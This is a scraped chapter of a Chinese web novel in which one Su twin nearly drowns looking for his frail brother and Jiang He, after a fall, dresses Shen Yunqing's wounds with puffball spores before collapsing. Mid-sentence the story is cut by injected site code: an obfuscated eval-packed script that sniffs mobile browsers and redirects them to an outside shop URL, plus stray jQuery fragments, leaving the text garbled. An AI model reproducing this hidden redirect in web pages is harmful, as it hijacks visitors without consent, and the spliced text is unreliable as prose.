默认冷灰
24号文字
方正启体

13. 同卵兄弟

作者:在暖本书字数:K更新时间:
    苏氏一族钟鸣鼎食、门生故吏遍天下,曾出过两位君后、三朝太后、五位宰辅。历代家主都极其注重子孙后代的教育,无论女男。


    女要能文能武,上能朝朝堂论道,下能理政务实;男子在家时要知书识礼、洁身自好,出赘后要善理中馈、勤勉侍奉。


    苏子煜就是这种教育下培养出来的典范,幼时又得当朝太后亲自教导,谁见了都要称赞一句风姿卓然、仪态万千。


    他在外风头太盛、光芒太耀眼,以至于许多外人都不清楚苏家还有位长男。


    长男苏子瑾生下来就体弱,患有先天心疾,甚少露面,以致名声不显,否则这京城本该有苏门双佼。


    但在苏府,人人都知道,二郎君格外听这位兄长的话。除却长幼有序之外,苏子煜一直心怀愧疚,觉得是自己在娘胎里抢了兄长的,才害得兄长生下来便无法像同龄人一样健康。


    苏子瑾必须严格遵从太医嘱咐,常年保持清淡饮食,从不剧烈活动,虽然这样一直精心保养着,但依旧连生气、激动都可能要了他的命。所以他从小便孤零零小心养在家里,连个同龄知交都没有。


    苏子煜从姜王府离开后,马不停蹄回到家中,他鲜少这样仪态不整、满身狼狈,不顾下人们的惊呼,他直奔兄长的辛夷院。


    明明已经是初春,但兄长怕冷,他的辛夷院地龙烧得极旺极足,苏子煜又着急,被热气熏得一头薄汗,面颊泛红。


    辛夷院空无一人,烛火倒是亮着的,苏子煜径直穿过前屋,直奔后室,那里有一个室内汤池。


    “阿兄!阿兄你在吗!”


    苏子煜一进屋就大声叫喊着,心里急得要命,他多么害怕自己的担忧成真。


    没有人应答,苏子煜看着平静的水面,唇角颤动——他不会水。


    情急之下,他握紧拳头,视死如归般纵身跳了下去。


    水面重归平静,水下却是另一番光景,苏子煜不会凫水,整个人都在缓缓下坠,口鼻被温热的水灌满,窒息的水流直往他身体里涌,他从来不知道阿兄的汤池竟然有这么深。


    他挣扎着,拼命地想要往上浮,可身体却不听使唤地继续下坠。就在他以为自己要沉到底的时候,一只手猛地攥住了他的后领。


    “咳咳咳咳......”


    苏子煜被拖拽出水面,整个人被毫不留情扔在汤池边沿,他剧烈地咳嗽起来,喉咙和鼻腔火辣辣地疼。


    汤池里,另一个人安静地浮在水面上,只露出上半身,半晌淡淡吐出一句,“真脏。”他嫌弃的动作毫不掩饰,示意苏子煜离他远些。


    苏子煜回过头,想要控诉。


    两张一模一样的脸,就这样面对面对视。一个锦衣雀裘满身脏污,另一个素发白衣纯洁干净。


    苏氏二男,乃是一胎双子,双生兄弟。


    明明是一样的眉眼,一样的轮廓,可两张脸摆在一起,却生出了截然不同的风华。


    苏子煜的眼中神采熠熠,永远明媚张扬,而苏子瑾唇色浅淡,神情总是恹恹的,万事倦怠。一个热烈浓艳、灿若朝霞,一个含蓄内敛、清冷脱俗。


    苏子煜一直是个好弟弟,但今日忍不住发了脾气,“阿兄!”他的声音又急又冲,带着压不住的恼意和担忧。


    “你为何自己回来了?连一声招呼都不打!你知道我有多担心吗,我以为你......”他没有说下去。


    苏子瑾安静地看着他发完这通脾气,他脸上的神色没有丝毫变化,像一潭死水。


    “你约我出门,是想让我与她相见。”苏子瑾开口,声音不急不缓。


    苏子煜顿住,苏子瑾看着他,“我见过了。”他的目光依旧平静,像是在说一件与己无关的事,“所以离开了。”


    苏子瑾在暗处看到姜禾的第一眼,就认出了她,但也没有其他想法了。


    难道要他出面与她相认,还是像他那傻弟弟计划的那样,制造一场经不起推敲的“意外相遇”,苏子瑾恹恹地垂下眼睫,可那又能改变什么呢。


    他不是瞎子,看得明白姜禾看自己亲弟弟的眼神。


    即使他有陛下赐婚,但以他的身体状况,日后不过是摆在房中的一个精致花瓶,徒有正夫的名分,既得不到妻子的爱,也不会被允许辅佐妻主延续血脉,诞下一个有可能不够健康的孩子。他几乎能够一眼望尽自己的后半生。


    苏子煜语塞。他这次提议出游的目的,的确是为了给兄长牵线搭桥,让他和镇安王来一场意外相遇。


    姜禾之前说过的话,苏子煜听进去了,他不希望兄长盲婚哑赘,更不愿意因为自己先前的莽撞令姜禾不喜,从而影响兄长婚后的日子。


    但他没想到,他还没把姜禾带到约好的地方,兄长就提前离开了。


    虽然兄长说“见过了”,但苏子煜觉得他又在糊弄他,他总是这样,就像上次赏花宴,明明兄长也去了,感兴趣的却是别人家的温泉池子,从头到尾都躲着不愿露面。


    但现在不是细说这些的时候了,他心中还有另一件要紧事放不下。


    “阿兄,出事了。”


    苏子煜这趟回府,一则是想立刻确认阿兄的安危,另一则就是想动用苏家的人前去帮忙。


    姬鸢说得对,他必须做点什么才能心安。当然,他做的这一切都是为了阿兄。


    他没有身份和立场,但阿兄有,他是姜禾未过门的王夫,苏家因为他相助施以援手,理所应当。


    他希望兄长出面,去求求母亲。


    ......


    ......


    姜禾命硬。


    其实从望台上跳下的瞬间,她就后悔了,被摔死真的有比被砍死好到哪里去吗?


    她以为自己死定了,无法掌握方向和速度的失重感席卷全身,她感到前所未有的恐慌。


    幸而这段山坡不算陡峭,枯草与嫩芽重叠交织,缓解了部分冲击,她们又侥幸落在了一个缓冲地带,她没有当场殒命,只是身上添了更多细密的伤口,人也曾短暂昏厥过去。


    这次醒来没有美男给她一饱眼福了,姜禾苦中作乐地想。她赌赢了,姜禾劫后余生般笑出声来,在寂静的荒郊野外格外突兀、还有些瘆人。


    她从怀里掏出一面铜镜,这是她亲手打磨的礼物,如今已经碎了,看上面的裂纹,可想而知应该是在坠落的过程中它替自己挡住了一击。


    小孔雀又机缘巧合帮了她一次,真是旺她,是她的福星。


    她把这面碎了的铜镜重新塞回怀里,转头去看身边的沈云卿。


    沈云卿趴在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371408|199923||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不远处的乱草丛里,脸色苍白得像纸。姜禾爬过去,伸手探了探她的鼻息,万幸,还有一口气。


    她松了一口气,开始动手撕自己的衣物。她的外袍已经摔得破破烂烂了,刚好方便她三两下撕成长条,权当绷带用。


    她尽量小心地给她按压止血,沈云卿被她折腾得闷哼了几声,眉头紧紧皱着,却没有醒过来。


    简单物理止血完,她撑着膝盖站起来,在附近简单搜寻了一下。这一找,竟真让她意外发现了些有用的东西。


    马勃。民间俗称马粪包,名字虽不好听,却实实在在是个好东西。这是一种菌子,而它的孢子粉,是天然的止血消炎良药。


    姜禾在现代时,还是姥姥教过她这个,她没想到有朝一日,竟然真的能派上用场。爱你,姥。


    她先在自己身上试了试,之后回到沈云卿身边,尽可能轻柔地撕开了她已经被血浸透的衣物。


    然后她顿住了,姜禾下意识地移开了视线,沉默了稍息。


    姜禾叹了口气,知道现在不是追究这个的时候。她重新集中精神,拿起止血粉为他上药。粉末落在伤口上,沈云卿的身体下意识微微抽搐了,喉间再次溢出闷哼。


    姜禾心想,有动静是好事,还能活。


    忙完之后,她松了一口气,小心地用剩下的衣物遮掩住了沈云卿的身体。希望他不要烧得太厉害,这个时代的伤口感染很致命,她现在能做的只有这些了。


    姜禾直起腰,往山坡上方望了一眼,她不确定上面的情况怎么样。她现在还能动,就是脑子有点昏沉沉的,大概是发烧了吧。


    她不想在原地等死。何况沈云卿也等不及了,她做的这些只是最简单的处理,他们二人都需要专业的医生,在这荒山野岭里多待一刻,他们就多一刻的危险。


    姜禾在附近找了些藤蔓,手脚麻利地编了个简易的网,绑在两根粗树枝之间,做成一个简陋的拖架。她把沈云卿挪到上面,试了试分量,沉甸甸的,但她还能拖得动。


    她全凭意念在往前走,少了几件衣物,春寒料峭,日头一落便觉寒意侵骨。


    她几乎是在给自己催眠,要活着,要活着,要活着......好像这样就能瞒过过载的肌肉和疼痛的伤口。


    她不能停下,她要找到人,她要活着,她要救沈云卿,她要继承王位,她还要......


    她还要什么来着?姜禾觉得自己好像忘了许多重要的事,脑子像是一团浆糊,什么也想不起来了。


    她不记得自己走了多久。一刻钟?一个时辰?两个时辰?也许更短,也许更久。


    她的意识开始断断续续的,有时候走着走着,眼前的景物会突然模糊一下,等回过神来发现自己在原地打转。


    她开始觉得有点热,要不把衣服脱了吧......姜禾猛然惊醒,狠狠抽了自己一巴掌。是失温,她可能撑不了太久了......


    还好,老天奶再次眷顾,她终于看见人了。


    小满?她不是还在老家吗?


    是失温带来的的幻觉吗?


    姜禾的眼皮越来越沉,身体像是被抽走了所有的力气,膝盖一软,整个人便往前栽去。


    失去意识前,她最后一个念头是,原来人死了也会觉得疼啊。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)